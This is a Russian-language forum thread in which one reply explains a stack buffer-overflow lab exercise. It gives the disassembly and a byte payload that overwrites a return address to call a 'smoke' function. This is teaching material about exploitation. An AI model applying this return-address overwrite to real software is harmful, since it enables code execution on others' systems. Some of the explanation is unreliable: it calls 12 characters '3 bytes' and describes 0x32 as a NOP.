|
|
Регистрация Восстановить пароль |
Повторная активизация e-mail |
Регистрация | Задать вопрос |
Заплачу за решение |
Новые сообщения |
Сообщения за день |
Расширенный поиск |
Правила |
Всё прочитано |
|
Опции темы | Поиск в этой теме |
27.06.2011, 15:32 | #1 |
Форумчанин
Регистрация: 23.05.2011
Сообщений: 121
|
за счет некоторой ошибки выполнить свой код.
мне возможно по уровню знаний с++ знать это не положено, но... как за счет ошибки переполнения выполнить свой код ? объясните на примерах, пожалуста.
|
27.06.2011, 15:43 | #2 |
Форумчанин
Регистрация: 31.05.2009
Сообщений: 786
|
Задача в следующем. Ввод программы это строки различной длинны (будет 5ть строк == 5ть заличных задачь). Строка будет помещенна на стек вызовов, нужно ухитриться написать такую строку чтобы были вызвать другие функции.
Смотри, вот смотри, решение первой задачи ! Нужно вызвать фунцию smoke, переполнением текстовово массива который будет сохранён на стеке Читает и сохраняет buf на стеке. Нет никаких механизмов, предотващающих строки больше 12 знаков. int getbuf() { char buf[12]; Gets(buf); return 1; } Вот вывод в АТ&Т формате 08048a09 <getbuf>: 8048a09: 55 push %ebp #сохраняем регистр ebp 8048a0a: 89 e5 mov %esp,%ebp #опускаем еsp до ebp 8048a0c: 83 ec 18 sub $0x18,%esp #отнимаем от esp - 18ть == высвобождаем места на стеке для buf 8048a0f: 8d 45 f4 lea -0xc(%ebp),%eax 8048a12: 89 04 24 mov %eax,(%esp) 8048a15: e8 33 01 00 00 call 8048b4d <Gets> 8048a1a: b8 01 00 00 00 mov $0x1,%eax 8048a1f: c9 leave 8048a20: c3 ret В результате на стеке до вызова Gets, имеем --------------------- return address //нужно изменить на аддрес Smoke --------------------- saved ebp --------------------- char array xxxx --------------------- xxxxx --------------------- xxxxx --------------------- Вот фунция Smoke, 080488c4 <smoke>: 80488c4: 55 push %ebp 80488c5: 89 e5 mov %esp,%ebp 80488c7: 83 ec 08 sub $0x8,%esp 80488ca: c7 04 24 00 95 04 08 movl $0x8049500,(%esp) 80488d1: e8 be fe ff ff call 8048794 <puts@plt> 80488d6: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80488dd: e8 ac 03 00 00 call 8048c8e <validate> 80488e2: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80488e9: e8 e6 fe ff ff call 80487d4 <exit@plt> Каждый адресс в 32битном пространстве может содержать 4 байта Наша строка содержит 12 знаков = 12/4 = 3 байта чтобы записать что-то поверх return address, нужно заполнить buf (3 байта) + заполнить saved ebp (1 байт) + заполнить return address (1 байт) тк порядок чтения байтов с низких к высоким, адресс smoke, должне быть в конце строки, имеем 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 c4 88 04 08 (32 == NOP, и выполняет роль "мусора" ) Готово P.S. Это должна быть цитата, но движок не захотел ее принимать |
27.06.2011, 23:27 | #3 |
Форумчанин
Регистрация: 23.05.2011
Сообщений: 121
|
спасибо конешно. но я ничего не понял, кроме кода на с++. а нельзя все это сотворить всего лишь со знаниями С++?
|
Похожие темы | ||||
Тема | Автор | Раздел | Ответов | Последнее сообщение |
Скрытые столбцы не дают выполнить код. | segail | Microsoft Office Excel | 2 | 07.12.2010 10:43 |
Поместить код в прямоугольник и выполнить | artemavd | Общие вопросы Delphi | 53 | 15.10.2010 16:10 |
Выполнить код через макрос vbs | segail | Microsoft Office Excel | 0 | 04.04.2010 19:25 |
Выполнить код при закрытии окна просмотра | segail | Microsoft Office Excel | 7 | 08.02.2010 11:22 |
Как выполнить код Java из Delphi? | ap008 | Общие вопросы Delphi | 2 | 22.05.2008 09:51 |